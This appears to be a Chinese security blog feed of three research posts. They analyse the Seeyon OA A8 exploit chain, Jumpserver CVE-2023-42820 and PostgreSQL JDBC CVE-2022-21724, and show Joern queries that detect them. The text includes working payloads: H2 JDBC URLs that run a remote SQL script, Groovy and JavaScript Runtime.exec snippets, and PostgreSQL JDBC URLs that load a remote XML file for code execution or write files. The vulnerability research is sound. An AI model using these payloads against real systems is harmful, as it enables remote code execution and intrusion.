普通视图

发现新文章,点击刷新页面。
昨天以前首页

Joern In RealWorld (3) - 致远OA A8 SSRF2RCE

作者 LoRexxar
2023年11月21日 17:09

致远OA是国内最有名的OA系统之一,这个OA封闭商业售卖再加上纷繁复杂的版本号加持下,致远OA拥有大量无法准确判断的版本。

这篇文章的漏洞源于下面这篇文章,文章中提到该漏洞影响A8, A8+, A6等多个版本,但很多版本我都找不到对应的源码,光A8就有一万个版本,下面我们尽可能的复现漏洞和探索Joern的可能性

漏洞原理

先花一点儿篇幅简单的描述一下漏洞的基础原理,其实漏洞分为好几个部分

  • 致远oa 前台XXE漏洞
  • 致远oa S1服务 后台jdbc注入
  • H2 jdbc注入导致RCE
  • 致远oa S1服务 后台用户密码重置导致的鉴权绕过

我们分开讨论这部分

致远oa前台xxe漏洞

首先我必须得说,这部分内容涉及到的代码我找了很多个版本的源码都没有找到,尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。

我觉得最神奇的点在于,这个漏洞如果仅按照原文提及的部分,漏洞原理及其简单,而且是一个比较标准的xxe漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private List<Element> getNodes(String xmlString, String xpath) {
ArrayList tmpList = null;

try {
SAXReader saxReader = new SAXReader();
Reader xml_sr = new StringReader(xmlString);
saxReader.setEncoding("UTF-8");
Document document = saxReader.read(xml_sr);
if (document.getRootElement() == null) {
throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));
} else {
List<?> contexts = document.selectNodes(xpath);
tmpList = new ArrayList();

for(int i = 0; i < contexts.size(); ++i) {
if (contexts.get(i) instanceof Element) {
tmpList.add((Element)contexts.get(i));
}
}

return tmpList;
}
}

可控参数 xmlValue,直接解base64然后就进xxe造成漏洞。

按理说这么简单的漏洞,应该早就被爆出来滥用了,但我搜索了一下相应的内容,上一次致远oa爆出来xxe漏洞原理比这个复杂多了,而且还是组件漏洞。

由于实在找不到源码,所以我猜测这个漏洞可能有两个可能性

  • 漏洞来自于某个部署时使用到的额外服务或者插件
  • 这个xxe漏洞是个第三方组件问题,需要其他条件入口,原文不想提到这个入口所以没有写

不管咋说我的确是没有办法获得答案了,不过这不是这篇文章的重心,先往后看。

致远oa S1服务 后台jdbc注入

在原文中,这部分来自于agent.jar,简单来说就是一个开放到内网的服务,我查了一下应该是指这套S1服务

在官网还可以查到这套系统,看上去应该是用于管理致远后台的平台,算是运维平台。这侧面也证明了这套系统是一套独立的系统。

com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController可以找到对应的testDBConnect方法

img

可以关注到相比原文当中的截图,现在加入了对h2数据库连接的限制

1
2
3
params.put("dbUrl", dbUrl);
if (dbUrl.startsWith("jdbc:h2"))
return JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), ", null);

继续跟进到testDBConnect

img

从这里可以找到可以根据dburl前缀自由连接远程jdbc的方法,并允许自定义链接驱动类

H2 jdbc注入导致RCE

这部分内容其实不算是这篇文章的重点致远oa的问题,一般来说到jdbc注入之后就是利用方式的问题了,但这里还是顺带提一下。

关于jdbc的注入后利用方式其实之前已经有过不少次相关的文章以及议题,下面这篇就是一篇总结的比较全的文章

其实jdbc可控后续导致的二次利用方案相当复杂,由于这不是这篇文章的内容,所以我们直接跳到对应的位置来看看。

想要利用jdbc注入来调用H2进行进一步利用,其中有两个比较大的问题。

  • 需要相应的配置参数才能命令执行
  • 由于不支持多行语句,需要找到能在单行里执行命令的方法

H2的攻击利用的是Spring Boot H2 console的一个特性,通过控制h2数据库的连接url,我们可以迫使spring boot去加载远程的sql脚本并执行命令,类似下面这样的请求

1
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

而这样的请求需要如下的参数

1
2
spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true

我们简单的看下源码

org.h2.engine.Engine#openSession中,发起连接是可以通过INIT关键字来影响初始化数据库连接的配置

img

img

当我们使用RUNSCRIPT关键字发起远程连接时,代码将会执行到org.h2.command.dml.RunScriptCommand#execute

img

这也就意味着我们可以通过RUNSCRIPT来执行恶意的SQL语句,但使用RUNSCRIPT意味着,你的客户端必须出网才有可能利用。

而我们之所以要使用RUNSCRIPT,本质是因为常见的恶意SQL执行命令需要两句session.prepareCommand并不支持执行多行语句

1
2
CREATE ALIAS RUNCMD AS $$<JAVA METHOD>$$;
CALL RUNCMD(command)

在Spring Boot H2 console的源码中,我们可以继续寻找问题的解决办法,在SQL语句当中的JAVA方法将会执行到org.h2.util.SourceCompiler,一共有三种编译器,分别是Java/Javascript/Groovy

img

如果满足source开头是//groovy或者是@groovy就会使用对应Groovy引擎。

img

利用@groovy.transform.ASTTEST就可以使用assert来执行命令

1
2
3
4
5
6
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}

除了Groovy以外还有JavaScript的利用方案

img

1
2
3
4
5
6
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}

致远oa S1服务 后台用户密码重置导致的鉴权绕过

在前面找到对应的利用方案之后,当我们尝试去做利用的时候会发现其实后台有额外的权限验证。直接访问testDBConnenction,会报非法访问的错误。

img

这是因为没有传入对应的token,在com.seeyon.agent.common.utils.TokenUtils中可以找到对应的检查

img

这里的tokenMap可以在com.seeyon.agent.common.getway.GetWayController找到对应的写入位置

img

通过解密获得username、pwd、dogcode、versions经过各种验证之后token会被存入全局变量

img

这个token会被存入最终的tokenMap当中,而到这里我们问题变成了如何模拟这个过程,在这个过程当中我们需要的信息有点儿多

  • username,可以用默认的用户名seeyon
  • pwd
  • version
  • aes的秘钥和iv

跟踪 AESUtil.Decrypt到定义的位置,可以发现秘钥和iv都是默认的,可以直接使用

img

com.seeyon.agent.common.controller.ConfigController中可以找到一个方法modifyDefaultUserInfo

img

这个方法可以在没有任何限制的情况下修改默认用户seeyon的密码

最后剩下的一个信息则是version,这个后台的版本比较复杂,我们可以通过一个接口来获取

com.seeyon.agent.common.controller.VersionController的getVersion方法里可以获取对应的版本号

img

到这里我们获取了模拟token的所有信息,就可以在后台进行任意操作

For Joern

当问题回到源代码扫描上,我们也可以用类似的漏洞拆解来实现扫描

致远oa前台xxe漏洞

由于这个源码找不到,所以这里用一个类似场景写出来的语句来进行模拟挖掘和扫描

1
2
3
4
def source = cpg.method("getParameter").callIn
def sink = cpg.call.filter(_.methodFullName.contains("java.io.StringReader.<init>"))

sink.reachableByFlows(source).p

我们可以通过连通初始化位置以及可控参数来判断是否存在路径,正常来说如果两个节点存在连通路径,那么就存在调用关系,但数据流的过程间分析需要更合理的判定方式,就比如这个漏洞。

img

SAXReaderXXE漏洞修复方案并不是在参数的过滤上,而是在于SAXReader解析xml的配置

这就要求除了获得source到sink的连通性以及调用关系以外还要对SAXReader实例化后的属性变化有所关注,在Joern上虽然可以强行做这样的判定,但却没有特别适配的方案,甚至需要通过正则匹配等方式来解决。

致远oa S1服务 后台jdbc注入

照理先引入S1的包,这个东西其实代码不是很大,但是不知道为什么解出来的包非常之大,可能有一些问题。

1
2
joern> importCode("S1.jar", "seeyons1")
val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [959587 nodes])

先找到设置了注解的testDBConnect方法

1
cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).l

img

然后再找到设置jdbc连接的位置,并设置参数为3个string

1
cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String")).l

img

1
2
3
4
def sink = cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String"))
def source = cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).parameter

sink.reachableByFlows(source).p

img

存在连通性,表示包含注解的方法参数可以连通到sink点,存在问题。

H2 jdbc注入导致RCE

相比其他几个问题,这个jdbc的利用其实就不算源代码分析层面的部分了。

无论是通过H2的链接来配置参数还是通过特殊语句二次利用,其实本质上都是H2数据库的feature,这里我们就跳过源代码分析的部分继续看后面的部分

致远oa S1服务 后台用户密码重置导致的鉴权绕过

让我们把视角在转回S1上,其实问题很简单,由于后台主要检查token是否有效

img

所以我们可以尝试去寻找全局变量tokenMap初始化过的地方

1
cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).l

img

然后寻找对应调用的位置

1
cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

img

可以看到涉及到tokenMap的方法出了isChecktoken以外还有getToken

img

然后我们继续寻找调用了getToken的地方

1
cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).l

img

然后向上寻找对应的调用函数是什么

1
cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

img

在这里我们找到了调用gettoken的位置,也正好对应写入token的位置

而在后续的利用条件收集中,也可以利用joern来快速挖掘和发现。

  • 寻找获取用户名和密码的方法

这个很简单,就像我们平时做代码审计的时候,会通过一些关键字来搜索关键代码一样,在joern中,你可以做类似的事情。我们可以搜索变量名为username的变量被调用的位置

1
cpg.identifier("username")._astIn.dedup.l

img

当然这显得非常粗暴,数据量非常大,但我们可以做更多的限制,比如调用该变量的方法必须包含put

1
cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l

img我们可以直接向上找到对应的函数方法定义位置

1
cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l

img

我们可以选择几个打开看看

img

当然我们发现不只是有名字为password的变量,还有名为password的常量

1
2
cpg.literal("\"password\"").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropert
y raph.generated.nodes.Method].fullName)).l).dedup.l

img

可以顺着这里找到写入默认账户的位置

img

前面提到的默认账户修改密码的点也能搜索到,这里甚至可以直接用默认账号和密码

除此之外寻找版本号的位置也可以用joern来完成,直接搜索调用了version变量的地方

1
cpg.identifier("version").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l

img

直接找到了对应的getVersion方法

通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标,其中的问题也相当实际,你很难在不熟悉代码的情况下利用joern做深入的扫描,这也是joern类工具的症结之一

Joern In RealWorld (2) - Jumpserver随机数种子泄露导致账户劫持漏洞(CVE-2023-42820)

作者 LoRexxar
2023年10月26日 15:18

Jumpserver是一个开源的django架构的堡垒机系统,由lawliet & zhiniang peng(@edwardzpeng) with Sangfor在上个月报送了这个漏洞

漏洞原理其实比较神奇,一个常用的第三方组件库django-simple-captcha泄露随机数种子的问题,再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。

漏洞成因

这里我们的目标不是分析漏洞,所以这里简单快速的分析下漏洞的成因,具体的漏洞分析可以看下面两篇文章

在分析代码级的漏洞成因之前,我想作为计算机相关的工作者,我们应该都有一个共识,就是计算机中没有真正意义的伪随机,无论是任何语言的随机数生成函数几乎都是从类似 /dev/random的地方取值,这里我们不讨论随机数底层的问题。

在代码的上层,我们几乎可以认为如果你不知道随机数的种子,那么你就无法对随机数做出预测。换言之,如果我们知道随机数的种子,我们就有一定的概率预测随机数

django-simple-captcha是Django的相关组件中非常流行的验证码生成库,就像phith0n所说,在国内你几乎没有别的选择,引入的方式超级简单,只要在配置里引入对应库

1
2
3
INSTALLED_APPS = [
...
'captcha',

然后加入对应的验证码路由

1
2
3
urlpatterns += [
path('core/auth/captcha/', include('captcha.urls')),
]

最后只要在对应的form中加入验证码的字段就行了

1
2
class CaptchaMixin(forms.Form):
captcha = CaptchaField(widget=CustomCaptchaTextInput, label=_('Captcha'))

但事实上,看似简单的django-simple-captcha中实际包含着一个很大的问题。

django-simple-captcha 随机数种子泄露

这个问题在0.5.19版本中被修复

img

这里其实涉及到了django-simple-captcha的一个feature,在设计上其实是允许通过key来指定随机数种子的,这个feature是为了让同一个key可以对应同一个验证码,用来实现验证码的对应。

img

而这里的key是一个已知的值,就是用于生成验证码的参数

img

换言之,我们可以得知当前Random的随机数种子,甚至可以控制这个种子。

修复的方案也很简单粗暴,只要在生成结束之后用随机一个新种子就可以了

img

那么这对jumpserver又有什么影响呢?

JumpServer 密码重置漏洞

相比django-simple-captcha来说,JumpServer更像是一个受害者,虽然存在一些安全隐患但本身并不致命。我们可以猜想一下随机数在一般的系统里常用的场景。

  • 重置密码
  • 激活码、兑换码

相比激活码的场景来说,重置密码的常见程度更高,如果系统内没有刻意对管理员账号做限制,那么如果可以预测重置密码的验证结果,那么就可以获得一个超级管理员权限,而JumpServer的代码中是这样做的。

img

/apps/authentication/api/password.py

img

重置密码用的code使用了random_string来生成,然后看看random_string的定义

img

这个函数在jumpserver中重做过好几次,但大同小异,其实就是用random.choice从列表中选取随机字符,最终生成最后的验证码。

这里我们不去细纠这个利用方式中的细节点,这不是本篇文章的讨论重点,简单来说就是

  • 通过**django-simple-captcha泄露当前random的种子**
  • 通过种子推测有限次的random结果(其中不仅仅包括密码重置token,还有验证码噪点等)

这样我们就通过对随机数的预测实现进一步的漏洞利用,而修复的方案也很简单

在最初版本的修复方案中,Jumpserver在获取密码重置token时重置了当前随机数种子。这个修复方案也没什么问题。

img

在后来的改动中,可能是因为看了P牛的文章,Jumpserver把random换成了secrets,相对来说比前一个方案更稳定一些,也是相关文档中推荐的方案

img

For Joern

从源代码的角度来讲,这个漏洞成因可以分成两部分

  • 存在泄露随机数种子,或者可以控制随机数种子的位置
  • 在未显式重置随机数种子的基础上,引用了random来生成随机数

随机数种子泄露

其实这个漏洞用Joern来处理挺吃力的,首先是Joern只会处理目标目录下的源码,而在正常的环境下,python引入的包其实都在python的目录下,也就是说理论上我们无法在分析项目的时候,顺便分析django-simple-captcha。

这里我们强行引入下分析django-simple-captcha包

1
2
3
4
5
6
7
8
9
10
11
12
13
> .\joern

██╗ ██████╗ ███████╗██████╗ ███╗ ██╗
██║██╔═══██╗██╔════╝██╔══██╗████╗ ██║
██║██║ ██║█████╗ ██████╔╝██╔██╗ ██║
██ ██║██║ ██║██╔══╝ ██╔══██╗██║╚██╗██║
╚█████╔╝╚██████╔╝███████╗██║ ██║██║ ╚████║
╚════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝
Version: 2.0.52
Type `help` to begin


joern> importCode("../captcha/")

找到random.seed调用的位置

img

先检查调用位置到函数定义位置是否有数据联通

1
2
3
4
def source = cpg.method("seed").caller.parameter
def sink = cpg.method("seed").callIn

sink.reachableByFlows(source).p

img

得到的答案是肯定的,seed的参数key可控,接着找对应的路由,在django里路由一般是用path,而这个组件使用re_path

1
2
from django.urls import path
from django.urls import re_path

我们可以直接快捷的查看相应的路由函数调用位置

img

然后通过对应的调用函数来获取指定的路由

1
cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).l

img

当然可能也不用这么麻烦,理论上来说直接设置source也是可以连起来的,只不过re_path读取key的方式是正则匹配,所以原装的reachableByFlows无法处理这种情况,我们只能强行做一些限制

1
cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).filterNot(_.argument.code.contains("<key>")).l

由于这条命令可以获取结果,所以代表着存在可以设置随机数种子的路由和对应的参数

当然,由于漏洞的特殊性不仅仅在于可控,还需要后续没有进一步重置随机数种子,所以我们还需要更多的条件来确认这一点。

其实要做到这点也并不复杂,只需要确认,在设置seed种子的方法中,没有调用过无参的seed方法即可。

1
cpg.method("seed").caller.filter(_._callViaContainsOut.filter(_.name.contains("seed")).filter(_.argument.size<2).size==0).l

上面这条命令的意思是

  • 寻找seed方法的调用方法
  • 寻找该方法中调用的方法中,名字为seed,并参数为0(joern中,参数index为0的位置表示为this,也就是当前方法所属的类)
  • 展示调用方法中,满足条件的调用数量为0的方法

img

如果返回结果,则证明该方法中没有重置新的随机数种子,当然,到这里并不能完全的验证这个结论,毕竟这里指处理了显式重置,如果是更严格的数据流分析,应该从重置随机数种子的位置入手,确认是否有数据流经过,但这种方案对于joern来说比较困难,这里先不深入到这个级别研究

JumpServer密码重置漏洞

这里分析JumpServer的时候遇到的最大的问题是JumpServer的代码量有点儿大,导入到Joern里有83万个节点:<

其实相比Django-simple-captcha的问题来说,JumpServer的问题在源代码的角度上来说更不像一个问题,只能算是一个使用错误的范例,有潜在的风险。我们需要用joern完成的工作包括两部分

  • 在获取随机数之前,没有重置过随机数种子
  • 在获取随机数之前,共执行了多少次随机操作

先找到对应调用random.choice方法的方法

img

调用过seed方法重置随机数种子的位置只有一个,看了一下没有相关的引用关系,看上去像是一段测试代码

img

由于场景特殊,这里我们用不到那么深入的数据流分析,只需要在对应重置密码的路由中确认是否调用random.choice方法就行了

img

这里直接用repeat untils来实现就可以

img

repeat…untils…还是那个老问题,容易递归爆炸,路径重复问题严重,我觉得这是joern实现里一个非常普遍的问题,但至少可以确定两个调用位置的连通性

接下来我们的问题变成了,我们如何知道在这条数据流中random调用了多少次

img

我尝试了几次之后发现,如果想要在语句上控制限制范围,以确认random的调用次数,会遇到比较多的问题正向分析的深入深度问题,以及循环分支的次数数据问题,问题比想象中的大,我暂且认为这不是joern的适用场景。

而相应的修复就更简单了,直接换用secrets替代random会直接影响到前面的方法发现,我们就无法获得对应的数据流了。

Joern In RealWorld (1) - Acutators + CVE-2022-21724

作者 LoRexxar
2023年8月31日 17:06

这个系列会记录我用Joern复现真实漏洞的一些过程,同样也是对Joern的深入探索。

这里我选用Java-sec-code的范例代码做第一部分,这篇文章记录了两个比较经典的漏洞

  • Springboot Acutators导致命令执行
  • postgreSQL jdbc反序列化漏洞(CVE-2022-21724)

Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包

1
importCode("../../java-sec-code/target/java-sec-code-1.0.0.jar")

Springboot Acutators配置问题

SpringBoot Actuator是SpringBoot内置的一个监控管理插件。只要引用组件就会开启对应的功能

1
2
3
4
5
6
7
8
9
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

开启后SpringBoot 1.x起始路径为/,2.x的起始路径为/actuator

暴露路由本身不能算太大的安全问题,只能说配置不当可能导致信息泄露,可以参spring-boot.txt

Actuator的接口配合一些组件就可能导致RCE,但防御的方法大多都是对Actuator做鉴权限制

  • Actuators + jolokia
1
2
3
4
5
6
<!-- SpringBoot Actuator命令执行的库 -->
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-core</artifactId>
<version>1.6.0</version>
</dependency>

配合jolokia的接口可以实现jndi注入导致RCE

1
2
3
4
5
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
<version>1.4.0.RELEASE</version>
</dependency>

首先组件上引用eureka才行,并且Eureka-Client <1.8.7(多见于Spring Cloud Netflix)

其次需要Application要有@EnableEurekaClient注解

1
2
3
4
5
6
7
8
9
10
11
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;

@SpringBootApplication
@EnableEurekaClient
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}

for Joern

我首先遇到的问题就是,这个漏洞其实配置问题大于其他问题,我研究了很久认为这个问题在Joern中是不可解的。

一方面Acutators开启只需要组件引用即可,另一方面比较常见的修复手段是增加鉴权,加入鉴权组件并开启配置

1
2
3
4
5
6
7
8
9
10
# pom.xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>

# for application.properties
management.security.enabled=true
security.user.name=admin
security.user.password=admin

哪怕不是用这个鉴权组件但也大同小异,关闭敏感端点之类的。

而问题回到Joern上,Joern虽然定义了ConfigFile节点,但并没有读取所有的配置文件,包括pom.xml。或者说pom.xml在Joern眼中不算是个配置文件。

img

即便是读取了application.properties这个文件,但ConfigFile节点只有文件内容,并没有对所有的配置做分析转化。而且有时候configFile就是完全空的,也不知道问题在哪。

img

这个处理方式虽然很奇怪但也算能理解,Joern作为一个静态分析代码的框架,他的理念就是把上层和下层做拆分,下层只需要把代码转成CPG,上层只需要在CPG上做数据分析。

对于Joern来说,上层和下层没有直通渠道,非代码层面的信息则会被忽略掉,而专注于代码层面,这是Joern的设计理念,但同样是Joern的局限性。

  • 一方面由于没有pom.xml的数据,所以无法判断Acutators是否开启,且无法判断版本。
  • 从SpringBoot 2.X开始,端点默认只暴露health和info,需要从配置文件里获取开启的端点,不一定能读到这个配置文件内容
  • Acutators这个问题核心其实是不能未授权+向公网暴露,而这个鉴权配置也是从配置文件里读到的
1
cpg.configFile.name(".*application.properties").where(_.content(".*management.security.enabled=false.*")).l
  • Acutators暴露的实际影响其实和依赖的组件有关系,比如配合eureka才有xtream反序列漏洞,而没有依赖组件数据,所以也无从判断。

postgreSQL jdbc反序列化漏洞(CVE-2022-21724)

1
2
9.4.1208 <= org.postgresql.postgresql < 42.2.25
42.3.0 <= org.postgresql.postgresql < 42.3.2

PostgreSQL的jdbc url属性可控时,可以通过authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供类名实例化插件实例

  • 漏洞代码
1
2
3
4
5
6
7
@RequestMapping("/postgresql")
public void postgresql(String jdbcUrlBase64) throws Exception{
byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
String jdbcUrl = new String(b);
log.info(jdbcUrl);
DriverManager.getConnection(jdbcUrl);
}

其实漏洞点的Joern的公式特别简单,说白了就是只要jdbc的连接链接可控就行了。

1
2
3
def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter

def sink = cpg.call.name("getConnection")

直接寻找source和sink之间的数据流

1
sink.reachableByFlows(source).p

img

可以发现我们找到了包括目标在内的5条数据流,这里的第一个问题是,我们没法确定jdbc是否支持postgreSQL来作为数据库。

在确定了入口可控之后,理论上配合组件版本其实我们就可以判断代码中是否存在该问题了,但我们并没有这个数据。

for PostgreSQL code

当然在静态分析的层面,我们需要从代码的角度验证漏洞存在,我们遇到的第二个问题自然是利用链的问题,所以我们需要直接去分析postgresql的组件代码

1
importCode("D:/program/java_pro/postgresql-42.3.1.jar", "postgresql")

当我们可控jdbc的连接的时候,我们就可以通过构造类似的请求来调用不同类的方法来实现我们想要的结果。

1
2
3
4
5
6
7
8
9
10
11
# 命令执行
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://test.joychou.org/1.xml

# 配合FileOutputStream操作文件
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt

# sslfactory&sslfactroyarg,任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml

# loggerLevel&loggerFile,任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test

这里具体的利用链我们就不重复讲了,可以直接参考上面的链接,重要的是我们怎么在joern中复现这个问题。

我们拿第一个漏洞socketFactory&socketFactoryArg的利用链作为目标来看看

img

从getConnection方法处,jdbc会根据不同的请求分发至不同的组件

img

从connect方法一路跟进org.postgresql的代码当中,链接之后的参数会被拆解为字典然后分别进入不同的配置中,也就是说等于到url这里我们就是可控的,也就是作为source,进到包里的这个入口是connect方法

img

1
def source = cpg.method.name("connect")

img最终导致漏洞的核心点则是可控的newInstance

img

所以我们假定调用方法newInstance是sink点可以用caller获取调用该方法的地方,也是可以读到我们目标类方法的。

img

1
def sink = cpg.method.name("newInstance")

到这里我们会遇到一个比较大的问题,当我们试图用简单的reachableByFlows时,会无法获取到结果。

img

但如果我们手动去一步一步拆解caller,发现是可以一路跟到source节点的。

1
cpg.method.name("newInstance").repeat(_.caller)(_.maxDepth(10)).name("connect").fullName.dedup.l

img

repeat这个语法问题相当多,如果用repeat…until…这个语法,很大概率会卡死,几乎跑realworld代码没有不卡死的,所以我改用了限制maxDepth+条件判断的方式来查询,还算可以解决。

当然这样只能拿到最终的节点,我们可以用一个文档里没写的overflowdb语法enablePathTracking来展示调用链,这部分内容我是从@Lightless的博客偷来的。

1
cpg.method.name("newInstance").enablePathTracking.repeat(_.caller)(_.maxDepth(10)).name("connect").path.map(path=>path.filter(n=>n.isInstanceOf[Method]).map(n=>{val nn = n.asInstanceOf[Method];nn.fullName})).dedup.l

img

当然,由于enablePathTracking的表现力很差,所以我们也可以用自己实现一套repeat,来解决重复调用等各种问题,这个代码同样来自于@LightLess。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = {
var nextBuffer: List[Vector[Method]] = List()
var finalResult: List[Vector[Method]] = List()
var results: List[Vector[Method]] = List()
val stopList = stopStep.l
val stopIdList = stopList.map(n => n.id).l
println("stopList.size:" + stopList.size)
println("stopIdList: " + stopIdList)

for (idx <- 1 to maxIdx) {
// 第一次查找,使用初始条件作为起始
if (idx == 1) {
for (it <- initStep) {
finalResult = finalResult :+ Vector(it)
}
}

// 处理 finalResult 中的每一条路径,取每条 path 的最后一项调用 caller
for (eachPath <- finalResult) {

var eachPathIdList = eachPath.filter(n => n.isInstanceOf[Method]).map(n => {
n.asInstanceOf[Method].id
}).l

var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup
for (newNode <- newNodes) {
// 检查 newPath 是否存在环,如果存在,则跳过,如果不存在,加到结果列表中
if (!eachPathIdList.contains(newNode.id)) {
val newPath = eachPath :+ newNode
nextBuffer = nextBuffer :+ newPath

// 检查是否满足终结条件,如果满足,就加到resutls里
if (stopIdList.contains(newNode.id)) {
results = results :+ newPath
}
}
}
}

// 所有的路径都处理完了,结果放在 nextBuffer 中
finalResult = nextBuffer
nextBuffer = List()
}
return results
}

这个findUntil实现了repeat…untail…times的功能,而且也做了一定的去重和优化

1
2
3
4
def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")

findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

img

虽然这里的函数调用链是正确的,但这里面有个很大的区别就是,通过repeat获取的节点非常粗暴,并不一定是成数据流。

拿下面这段代码举例子,理论上来说数据流分析应该从ctor开始一点一点往上,一直找到classname参数,然后再到方法instantiate,但如果直接用caller会直接获取到instantiate方法,也就是直接到父节点

img

但事实上如果数据流追不到参数,实际上是数据流是不通的,这种方式太粗暴,有效度也不会太高。连数据流分析的层面都到不了,更别谈过程间分析了。

最关键的是,仔细研究后感觉这部分在joern中坑相当大,说白了就是Joern的CPG结构中其实没有这种执行流概念,节点之间链接只有AST指向,边的特性也没有明确的显示。

img

用比较通俗的话讲,就是CPG更强调调用关系,就比如调用NewInstance方法的位置属于方法Instantiate的子节点,而具体到代码块执行流程,则只是简单的AST指向关系除了有向边以外,也没有显示这种指向关系的特殊性。

img

这方面的问题需要再花时间研究一下,这篇文章先不深入去讲。后面专门写文章研究这部分。

其他利用链

我们仿照第一个利用链的语法,直接模拟一下其他几个利用链的挖掘方式

  • 任意代码执行 sslfactory/sslfactoryarg
1
2
# sslfactory&sslfactroyarg,任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml

对应的利用链其实和上一个是一样的,入口都是connect,漏洞点都是newinstance,这条利用链用上面的代码就可以查询到

1
2
3
4
def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")

findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

img

  • 任意文件写入 loggerLevel/loggerFile
1
2
# loggerLevel&loggerFile,任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test

这个漏洞的利用链相对特殊,其实是利用了logger本身的功能,通过配置log写入的文件来实现任意文件写

img

这里类初始化的操作在joern被标记为,所以sink为

1
cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))

img

这样我们再次追利用链

1
2
3
4
def sink = cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))
def source = cpg.method.name("connect")

findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l

img

完善利用链

找到可控的**newInstance位置**之后,我们还需要继续完善利用链的最后一步。

img

